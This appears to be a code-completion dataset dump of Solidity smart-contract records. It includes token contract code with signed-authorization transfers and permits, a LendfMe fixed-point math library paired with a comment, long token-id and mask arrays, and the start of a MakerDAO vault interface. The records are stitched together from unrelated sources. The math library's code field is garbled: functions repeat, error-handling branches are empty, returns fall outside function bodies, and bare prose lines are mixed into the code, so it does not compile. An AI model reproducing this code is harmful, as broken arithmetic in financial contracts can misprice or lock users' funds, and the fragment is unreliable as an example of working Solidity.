address spender,
uint256 value,
uint256 validAfter,
uint256 validBefore,
bytes32 nonce,
uint8 v,
bytes32 r,
bytes32 s
) internal {
_requireValidAuthorization(owner, nonce, validAfter, validBefore);
bytes memory data = abi.encode(
_APPROVE_WITH_AUTHORIZATION_TYPEHASH,
owner,
spender,
value,
validAfter,
validBefore,
nonce
);
require(
LibEIP712.recover(LibAppStorage.diamondStorage().domainSeparator, v, r, s, data) ==
owner,
"GasAbstraction: invalid signature"
);
_markAuthorizationAsUsed(owner, nonce);
LibERC20._approve(owner, spender, value);
}
/**
* @notice Attempt to cancel an authorization
* @param authorizer Authorizer's address
* @param nonce Nonce of the authorization
* @param v v of the signature
* @param r r of the signature
* @param s s of the signature
*/
function _cancelAuthorization(
address authorizer,
bytes32 nonce,
uint8 v,
bytes32 r,
bytes32 s
) internal {
_requireUnusedAuthorization(authorizer, nonce);
bytes memory data = abi.encode(_CANCEL_AUTHORIZATION_TYPEHASH, authorizer, nonce);
require(
LibEIP712.recover(LibAppStorage.diamondStorage().domainSeparator, v, r, s, data) ==
authorizer,
"GasAbstraction: invalid signature"
);
LibAppStorage.diamondStorage().authorizationStates[authorizer][nonce] = AuthorizationState
.Canceled;
emit AuthorizationCanceled(authorizer, nonce);
}
/**
* @notice Check that an authorization is unused
* @param authorizer Authorizer's address
* @param nonce Nonce of the authorization
*/
function _requireUnusedAuthorization(address authorizer, bytes32 nonce) private view {
require(
LibAppStorage.diamondStorage().authorizationStates[authorizer][nonce] ==
AuthorizationState.Unused,
"GasAbstraction: authorization is used or canceled"
);
}
/**
* @notice Check that authorization is valid
* @param authorizer Authorizer's address
* @param nonce Nonce of the authorization
* @param validAfter The time after which this is valid (unix time)
* @param validBefore The time before which this is valid (unix time)
*/
function _requireValidAuthorization(
address authorizer,
bytes32 nonce,
uint256 validAfter,
uint256 validBefore
) private view {
require(block.timestamp > validAfter, "GasAbstraction: authorization is not yet valid");
require(block.timestamp < validBefore, "GasAbstraction: authorization is expired");
_requireUnusedAuthorization(authorizer, nonce);
}
/**
* @notice Mark an authorization as used
* @param authorizer Authorizer's address
* @param nonce Nonce of the authorization
*/
function _markAuthorizationAsUsed(address authorizer, bytes32 nonce) private {
LibAppStorage.diamondStorage().authorizationStates[authorizer][nonce] = AuthorizationState
.Used;
emit AuthorizationUsed(authorizer, nonce);
}
/**
* @notice Verify a signed approval permit and execute if valid
* @param owner Token owner's address (Authorizer)
* @param spender Spender's address
* @param value Amount of allowance
* @param deadline The time at which this expires (unix time)
* @param v v of the signature
* @param r r of the signature
* @param s s of the signature
*/
function _permit(
address owner,
address spender,
uint256 value,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s
) internal {
require(deadline >= block.timestamp, "Permit: permit is expired");
AppStorage storage appStorage = LibAppStorage.diamondStorage();
bytes memory data = abi.encode(
_PERMIT_TYPEHASH,
owner,
spender,
value,
appStorage.nonces[owner]++,
deadline
);
require(
LibEIP712.recover(appStorage.domainSeparator, v, r, s, data) == owner,
"Permit: invalid signature"
);
LibERC20._approve(owner, spender, value);
}
}
// File contracts/common/EIP712Domain.sol
/**
*
*
* Copyright (c) 2018-2020 CENTRE SECZ
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in
* copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
* SOFTWARE.
*/
/**
* @title EIP712 Domain
*/
contract EIP712Domain {
/**
* @dev EIP712 Domain Separator
*/
// solhint-disable-next-line
function DOMAIN_SEPARATOR() external view returns (bytes32) {
return LibAppStorage.diamondStorage().domainSeparator;
}
}
// File contracts/common/GasAbstraction.sol
/**
*
*
* Copyright (c) 2018-2020 CENTRE SECZ
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in
* copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
* SOFTWARE.
*/
/**
* @title Gas Abstraction
* @notice Provide internal implementation for gas-abstracted transfers and
* approvals
* @dev Contracts that inherit from this must wrap these with publicly
* accessible functions, optionally adding modifiers where necessary
*/
abstract contract GasAbstraction is EIP712Domain {
bytes32 public constant TRANSFER_WITH_AUTHORIZATION_TYPEHASH =
_TRANSFER_WITH_AUTHORIZATION_TYPEHASH;
bytes32 public constant APPROVE_WITH_AUTHORIZATION_TYPEHASH =
_APPROVE_WITH_AUTHORIZATION_TYPEHASH;
bytes32 public constant INCREASE_ALLOWANCE_WITH_AUTHORIZATION_TYPEHASH =
_INCREASE_ALLOWANCE_WITH_AUTHORIZATION_TYPEHASH;
bytes32 public constant DECREASE_ALLOWANCE_WITH_AUTHORIZATION_TYPEHASH =
_DECREASE_ALLOWANCE_WITH_AUTHORIZATION_TYPEHASH;
bytes32 public constant CANCEL_AUTHORIZATION_TYPEHASH = _CANCEL_AUTHORIZATION_TYPEHASH;
event AuthorizationUsed(address indexed authorizer, bytes32 indexed nonce);
event AuthorizationCanceled(address indexed authorizer, bytes32 indexed nonce);
/**
* @notice Returns the state of an authorization
* @param authorizer Authorizer's address
* @param nonce Nonce of the authorization
* @return Authorization state
*/
function authorizationState(address authorizer, bytes32 nonce)
external
view
returns (AuthorizationState)
{
return LibAppStorage.diamondStorage().authorizationStates[authorizer][nonce];
}
/**
* @notice Increase the allowance by a given increment
* @param spender Spender's address
* @param increment Amount of increase in allowance
* @return True if successful
*/
function increaseAllowance(address spender, uint256 increment) external returns (bool) {
LibPausable._requireNotPaused();
LibBlacklistable._requireNotBlacklisted(msg.sender);
LibBlacklistable._requireNotBlacklisted(spender);
LibERC20._increaseAllowance(msg.sender, spender, increment);
return true;
}
/**
* @notice Decrease the allowance by a given decrement
* @param spender Spender's address
* @param decrement Amount of decrease in allowance
* @return True if successful
*/
function decreaseAllowance(address spender, uint256 decrement) external returns (bool) {
LibPausable._requireNotPaused();
LibBlacklistable._requireNotBlacklisted(msg.sender);
LibBlacklistable._requireNotBlacklisted(spender);
LibERC20._decreaseAllowance(msg.sender, spender, decrement);
return true;
}
/**
* @notice Execute a transfer with a signed authorization
* @param from Payer's address (Authorizer)
* @param to Payee's address
* @param value Amount to be transferred
* @param validAfter The time after which this is valid (unix time)
* @param validBefore The time before which this is valid (unix time)
* @param nonce Unique nonce
* @param v v of the signature
* @param r r of the signature
* @param s s of the signature
*/
function transferWithAuthorization(
address from,
address to,
uint256 value,
uint256 validAfter,
uint256 validBefore,
bytes32 nonce,
uint8 v,
bytes32 r,
bytes32 s
) external {
LibPausable._requireNotPaused();
LibBlacklistable._requireNotBlacklisted(from);
LibBlacklistable._requireNotBlacklisted(to);
LibGasAbstraction._transferWithAuthorization(
from,
to,
value,
validAfter,
validBefore,
nonce,
v,
r,
s
);
}
/**
* @notice Update allowance with a signed authorization
* @param tokenOwner Token owner's address (Authorizer)
* @param spender Spender's address
* @param value Amount of allowance
* @param validAfter The time after which this is valid (unix time)
* @param validBefore The time before which this is valid (unix time)
* @param nonce Unique nonce
* @param v v of the signature
* @param r r of the signature
* @param s s of the signature
*/
function approveWithAuthorization(
address tokenOwner,
address spender,
uint256 value,
uint256 validAfter,
uint256 validBefore,
bytes32 nonce,
uint8 v,
bytes32 r,
bytes32 s
) external {
LibPausable._requireNotPaused();
LibBlacklistable._requireNotBlacklisted(tokenOwner);
LibBlacklistable._requireNotBlacklisted(spender);
LibGasAbstraction._approveWithAuthorization(
tokenOwner,
spender,
value,
validAfter,
validBefore,
nonce,
v,
r,
s
);
}
/**
* @notice Increase allowance with a signed authorization
* @param tokenOwner Token owner's address (Authorizer)
* @param spender Spender's address
* @param increment Amount of increase in allowance
* @param validAfter The time after which this is valid (unix time)
* @param validBefore The time before which this is valid (unix time)
* @param nonce Unique nonce
* @param v v of the signature
* @param r r of the signature
* @param s s of the signature
*/
function increaseAllowanceWithAuthorization(
address tokenOwner,
address spender,
uint256 increment,
uint256 validAfter,
uint256 validBefore,
bytes32 nonce,
uint8 v,
bytes32 r,
bytes32 s
) external {
LibPausable._requireNotPaused();
LibBlacklistable._requireNotBlacklisted(tokenOwner);
LibBlacklistable._requireNotBlacklisted(spender);
LibGasAbstraction._increaseAllowanceWithAuthorization(
tokenOwner,
spender,
increment,
validAfter,
validBefore,
nonce,
v,
r,
s
);
}
/**
* @notice Decrease allowance with a signed authorization
* @param tokenOwner Token owner's address (Authorizer)
* @param spender Spender's address
* @param decrement Amount of decrease in allowance
* @param validAfter The time after which this is valid (unix time)
* @param validBefore The time before which this is valid (unix time)
* @param nonce Unique nonce
* @param v v of the signature
* @param r r of the signature
* @param s s of the signature
*/
function decreaseAllowanceWithAuthorization(
address tokenOwner,
address spender,
uint256 decrement,
uint256 validAfter,
uint256 validBefore,
bytes32 nonce,
uint8 v,
bytes32 r,
bytes32 s
) external {
LibPausable._requireNotPaused();
LibBlacklistable._requireNotBlacklisted(tokenOwner);
LibBlacklistable._requireNotBlacklisted(spender);
LibGasAbstraction._decreaseAllowanceWithAuthorization(
tokenOwner,
spender,
decrement,
validAfter,
validBefore,
nonce,
v,
r,
s
);
}
/**
* @notice Attempt to cancel an authorization
* @dev Works only if the authorization is not yet used.
* @param authorizer Authorizer's address
* @param nonce Nonce of the authorization
* @param v v of the signature
* @param r r of the signature
* @param s s of the signature
*/
function cancelAuthorization(
address authorizer,
bytes32 nonce,
uint8 v,
bytes32 r,
bytes32 s
) external {
LibPausable._requireNotPaused();
LibGasAbstraction._cancelAuthorization(authorizer, nonce, v, r, s);
}
}
// File contracts/common/Permit.sol
/**
*
*
* Copyright (c) 2018-2020 CENTRE SECZ
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in
* copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
* SOFTWARE.
*/
/**
* @title Permit
* @notice An alternative to approveWithAuthorization, provided for
* compatibility with the draft EIP2612 proposed by Uniswap.
* @dev Differences:
* - Uses sequential nonce, which restricts transaction submission to one at a
* time, or else it will revert
* - Has deadline (= validBefore - 1) but does not have validAfter
* - Doesn't have a way to change allowance atomically to prevent ERC20 multiple
* withdrawal attacks
*/
abstract contract Permit is EIP712Domain {
bytes32 public constant PERMIT_TYPEHASH = _PERMIT_TYPEHASH;
/**
* @notice Nonces for permit (shared with meta transaction)
* @dev Nonces is shared for permits and meta transaction nonces. The nonces and getNonce
* methods both return the same nonce sequence, but are both kept for compatability
* @param owner Token owner's address (Authorizer)
* @return Next nonce
*/
function nonces(address owner) external view returns (uint256) {
return LibAppStorage.diamondStorage().nonces[owner];
}
/**
* @notice Update allowance with a signed permit
* @param tokenOwner Token owner's address (Authorizer)
* @param spender Spender's address
* @param value Amount of allowance
* @param deadline Expiration time, seconds since the epoch
* @param v v of the signature
* @param r r of the signature
* @param s s of the signature
*/
function permit(
address tokenOwner,
address spender,
uint256 value,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s
) external {
LibPausable._requireNotPaused();
LibBlacklistable._requireNotBlacklisted(tokenOwner);
LibBlacklistable._requireNotBlacklisted(spender);
LibGasAbstraction._permit(tokenOwner, spender, value, deadline, v, r, s);
}
}
// File contracts/tokens/HeartToken.sol
/**
*
*
* Copyright (c) 2022 YellowHeart
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in
* copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
* SOFTWARE.
*/
contract HeartToken is BaseToken, GasAbstraction, Permit, ERC1363 {
using SafeMath for uint256;
uint256 public constant MAX_SUPPLY = 692000000 * 1e18;
function initialize(
string memory tokenName,
string memory tokenSymbol,
address newPauser,
address newBlacklister,
address newOwner,
address tokenReceiver
) external {
require(!appStorage.initialized, "HeartToken: contract is already initialized");
require(newPauser != address(0), "HeartToken: new pauser is the zero address");
require(newBlacklister != address(0), "HeartToken: new blacklister is the zero address");
require(newOwner != address(0), "HeartToken: new owner is the zero address");
require(tokenReceiver != address(0), "HeartToken: token receiver is the zero address");
appStorage.name = tokenName;
appStorage.symbol = tokenSymbol;
appStorage.decimals = 18;
// appStorage.masterMinter = newMasterMinter;
appStorage.pauser = newPauser;
appStorage.blacklister = newBlacklister;
setOwner(newOwner);
appStorage.domainSeparator = LibEIP712.makeDomainSeparator(tokenName, "1");
_mint(tokenReceiver, MAX_SUPPLY);
require(
appStorage.totalSupply == MAX_SUPPLY,
"HeartToken: totalSupply is not expected value"
);
require(
appStorage.balances[tokenReceiver] == MAX_SUPPLY,
"HeartToken: tokenReceiver balance is not expected value"
);
appStorage.initialized = true;
}
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId)
public
view
virtual
override(BaseToken, ERC1363)
returns (bool)
{
return ERC1363.supportsInterface(interfaceId) || BaseToken.supportsInterface(interfaceId);
}
} | keccak256("ApproveWithAuthorization(address owner,address spender,uint256 value,uint256 validAfter,uint256 validBefore,bytes32 nonce)") | bytes32 constant _APPROVE_WITH_AUTHORIZATION_TYPEHASH = 0x808c10407a796f3ef2c7ea38c0638ea9d2b8a1c63e3ca9e1f56ce84ae59df73c;
| 6,926,098 | [
1,
79,
24410,
581,
5034,
2932,
12053,
537,
1190,
6063,
12,
2867,
3410,
16,
2867,
17571,
264,
16,
11890,
5034,
460,
16,
11890,
5034,
923,
4436,
16,
11890,
5034,
923,
4649,
16,
3890,
1578,
7448,
2225,
13,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
3890,
1578,
5381,
389,
2203,
3373,
3412,
67,
9147,
67,
17866,
2689,
67,
2399,
15920,
273,
374,
92,
3672,
28,
71,
2163,
7132,
27,
69,
7235,
26,
74,
23,
10241,
22,
71,
27,
24852,
7414,
71,
20,
4449,
28,
24852,
29,
72,
22,
70,
28,
69,
21,
71,
4449,
73,
23,
5353,
29,
73,
21,
74,
4313,
311,
5193,
8906,
6162,
2180,
9036,
71,
31,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
./partial_match/1/0xD72f617b374292bC45dB1be95EE7cf69D39219A2/sources/LendfMeData.sol | TODO: We may wish to put the result of 10**18 here instead of the expression. Per https:solidity.readthedocs.io/en/latest/contracts.html#constant-state-variables the optimizer MAY replace the expression 10**18 with its calculated value. See TODO on expScale | contract Exponential is CarefulMath {
uint constant expScale = 10**18;
uint constant halfExpScale = expScale/2;
struct Exp {
uint mantissa;
}
uint constant mantissaOne = 10**18;
uint constant mantissaOneTenth = 10**17;
function getExp(uint num, uint denom) pure internal returns (Error, Exp memory) {
(Error err0, uint scaledNumerator) = mul(num, expScale);
if (err0 != Error.NO_ERROR) {
}
(Error err1, uint rational) = div(scaledNumerator, denom);
if (err1 != Error.NO_ERROR) {
}
}
function getExp(uint num, uint denom) pure internal returns (Error, Exp memory) {
(Error err0, uint scaledNumerator) = mul(num, expScale);
if (err0 != Error.NO_ERROR) {
}
(Error err1, uint rational) = div(scaledNumerator, denom);
if (err1 != Error.NO_ERROR) {
}
}
return (err0, Exp({mantissa: 0}));
function getExp(uint num, uint denom) pure internal returns (Error, Exp memory) {
(Error err0, uint scaledNumerator) = mul(num, expScale);
if (err0 != Error.NO_ERROR) {
}
(Error err1, uint rational) = div(scaledNumerator, denom);
if (err1 != Error.NO_ERROR) {
}
}
return (err1, Exp({mantissa: 0}));
return (Error.NO_ERROR, Exp({mantissa: rational}));
function addExp(Exp memory a, Exp memory b) pure internal returns (Error, Exp memory) {
(Error error, uint result) = add(a.mantissa, b.mantissa);
}
return (error, Exp({mantissa: result}));
function subExp(Exp memory a, Exp memory b) pure internal returns (Error, Exp memory) {
(Error error, uint result) = sub(a.mantissa, b.mantissa);
}
return (error, Exp({mantissa: result}));
function mulScalar(Exp memory a, uint scalar) pure internal returns (Error, Exp memory) {
(Error err0, uint scaledMantissa) = mul(a.mantissa, scalar);
if (err0 != Error.NO_ERROR) {
}
}
function mulScalar(Exp memory a, uint scalar) pure internal returns (Error, Exp memory) {
(Error err0, uint scaledMantissa) = mul(a.mantissa, scalar);
if (err0 != Error.NO_ERROR) {
}
}
return (err0, Exp({mantissa: 0}));
return (Error.NO_ERROR, Exp({mantissa: scaledMantissa}));
function divScalar(Exp memory a, uint scalar) pure internal returns (Error, Exp memory) {
(Error err0, uint descaledMantissa) = div(a.mantissa, scalar);
if (err0 != Error.NO_ERROR) {
}
}
function divScalar(Exp memory a, uint scalar) pure internal returns (Error, Exp memory) {
(Error err0, uint descaledMantissa) = div(a.mantissa, scalar);
if (err0 != Error.NO_ERROR) {
}
}
return (err0, Exp({mantissa: 0}));
return (Error.NO_ERROR, Exp({mantissa: descaledMantissa}));
function divScalarByExp(uint scalar, Exp divisor) pure internal returns (Error, Exp memory) {
We are doing this as:
getExp(mul(expScale, scalar), divisor.mantissa)
How it works:
Exp = a / b;
Scalar = s;
`s / (a / b)` = `b * s / a` and since for an Exp `a = mantissa, b = expScale`
(Error err0, uint numerator) = mul(expScale, scalar);
if (err0 != Error.NO_ERROR) {
}
return getExp(numerator, divisor.mantissa);
}
function divScalarByExp(uint scalar, Exp divisor) pure internal returns (Error, Exp memory) {
We are doing this as:
getExp(mul(expScale, scalar), divisor.mantissa)
How it works:
Exp = a / b;
Scalar = s;
`s / (a / b)` = `b * s / a` and since for an Exp `a = mantissa, b = expScale`
(Error err0, uint numerator) = mul(expScale, scalar);
if (err0 != Error.NO_ERROR) {
}
return getExp(numerator, divisor.mantissa);
}
return (err0, Exp({mantissa: 0}));
function mulExp(Exp memory a, Exp memory b) pure internal returns (Error, Exp memory) {
(Error err0, uint doubleScaledProduct) = mul(a.mantissa, b.mantissa);
if (err0 != Error.NO_ERROR) {
}
if (err1 != Error.NO_ERROR) {
}
(Error err2, uint product) = div(doubleScaledProductWithHalfScale, expScale);
}
function mulExp(Exp memory a, Exp memory b) pure internal returns (Error, Exp memory) {
(Error err0, uint doubleScaledProduct) = mul(a.mantissa, b.mantissa);
if (err0 != Error.NO_ERROR) {
}
if (err1 != Error.NO_ERROR) {
}
(Error err2, uint product) = div(doubleScaledProductWithHalfScale, expScale);
}
return (err0, Exp({mantissa: 0}));
(Error err1, uint doubleScaledProductWithHalfScale) = add(halfExpScale, doubleScaledProduct);
function mulExp(Exp memory a, Exp memory b) pure internal returns (Error, Exp memory) {
(Error err0, uint doubleScaledProduct) = mul(a.mantissa, b.mantissa);
if (err0 != Error.NO_ERROR) {
}
if (err1 != Error.NO_ERROR) {
}
(Error err2, uint product) = div(doubleScaledProductWithHalfScale, expScale);
}
return (err1, Exp({mantissa: 0}));
assert(err2 == Error.NO_ERROR);
return (Error.NO_ERROR, Exp({mantissa: product}));
function divExp(Exp memory a, Exp memory b) pure internal returns (Error, Exp memory) {
return getExp(a.mantissa, b.mantissa);
}
function truncate(Exp memory exp) pure internal returns (uint) {
return exp.mantissa / 10**18;
}
function lessThanExp(Exp memory left, Exp memory right) pure internal returns (bool) {
}
function lessThanOrEqualExp(Exp memory left, Exp memory right) pure internal returns (bool) {
return left.mantissa <= right.mantissa;
}
function isZeroExp(Exp memory value) pure internal returns (bool) {
return value.mantissa == 0;
}
}
| 2,824,354 | [
1,
6241,
30,
1660,
2026,
14302,
358,
1378,
326,
563,
434,
13822,
28,
2674,
3560,
434,
326,
2652,
18,
5722,
2333,
30,
30205,
560,
18,
25254,
329,
22280,
18,
1594,
19,
275,
19,
13550,
19,
16351,
87,
18,
2620,
14384,
17,
2019,
17,
7528,
326,
13066,
490,
5255,
1453,
326,
2652,
13822,
28,
598,
2097,
8894,
460,
18,
2164,
2660,
603,
1329,
5587,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
16351,
29770,
649,
353,
385,
834,
2706,
10477,
288,
203,
203,
565,
2254,
5381,
1329,
5587,
273,
1728,
636,
2643,
31,
203,
203,
565,
2254,
5381,
8816,
2966,
5587,
273,
1329,
5587,
19,
22,
31,
203,
203,
565,
1958,
7784,
288,
203,
3639,
2254,
31340,
31,
203,
565,
289,
203,
203,
565,
2254,
5381,
31340,
3335,
273,
1728,
636,
2643,
31,
203,
565,
2254,
5381,
31340,
3335,
56,
319,
76,
273,
1728,
636,
4033,
31,
203,
203,
565,
445,
336,
2966,
12,
11890,
818,
16,
2254,
10716,
13,
16618,
2713,
1135,
261,
668,
16,
7784,
3778,
13,
288,
203,
3639,
261,
668,
393,
20,
16,
2254,
12304,
2578,
7385,
13,
273,
14064,
12,
2107,
16,
1329,
5587,
1769,
203,
3639,
309,
261,
370,
20,
480,
1068,
18,
3417,
67,
3589,
13,
288,
203,
3639,
289,
203,
203,
3639,
261,
668,
393,
21,
16,
2254,
436,
8371,
13,
273,
3739,
12,
20665,
2578,
7385,
16,
10716,
1769,
203,
3639,
309,
261,
370,
21,
480,
1068,
18,
3417,
67,
3589,
13,
288,
203,
3639,
289,
203,
203,
565,
289,
203,
203,
565,
445,
336,
2966,
12,
11890,
818,
16,
2254,
10716,
13,
16618,
2713,
1135,
261,
668,
16,
7784,
3778,
13,
288,
203,
3639,
261,
668,
393,
20,
16,
2254,
12304,
2578,
7385,
13,
273,
14064,
12,
2107,
16,
1329,
5587,
1769,
203,
3639,
309,
261,
370,
20,
480,
1068,
18,
3417,
67,
3589,
13,
288,
203,
3639,
289,
203,
203,
3639,
261,
668,
393,
21,
16,
2254,
436,
8371,
13,
273,
3739,
12,
20665,
2578,
2
]
|
// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.0;
// --- INTERFACES ---
// Interfaces for Uniswap and MakerDao
//
// CDP Interface
contract DssCdpManagerLike {
mapping (address => uint) public first; // Owner => First CDPId
mapping (uint => address) public urns; // CDPId => UrnHandler
}
// Vat Interface
contract VatLike {
struct Ilk {
uint256 Art; // Total Normalised Debt [wad]
uint256 rate; // Accumulated Rates [ray]
uint256 spot; // Price with Safety Margin [ray]
uint256 line; // Debt Ceiling [rad]
uint256 dust; // Urn Debt Floor [rad]
}
struct Urn {
uint256 ink; // Locked Collateral [wad]
uint256 art; // Normalised Debt [wad]
}
mapping (bytes32 => Ilk) public ilks;
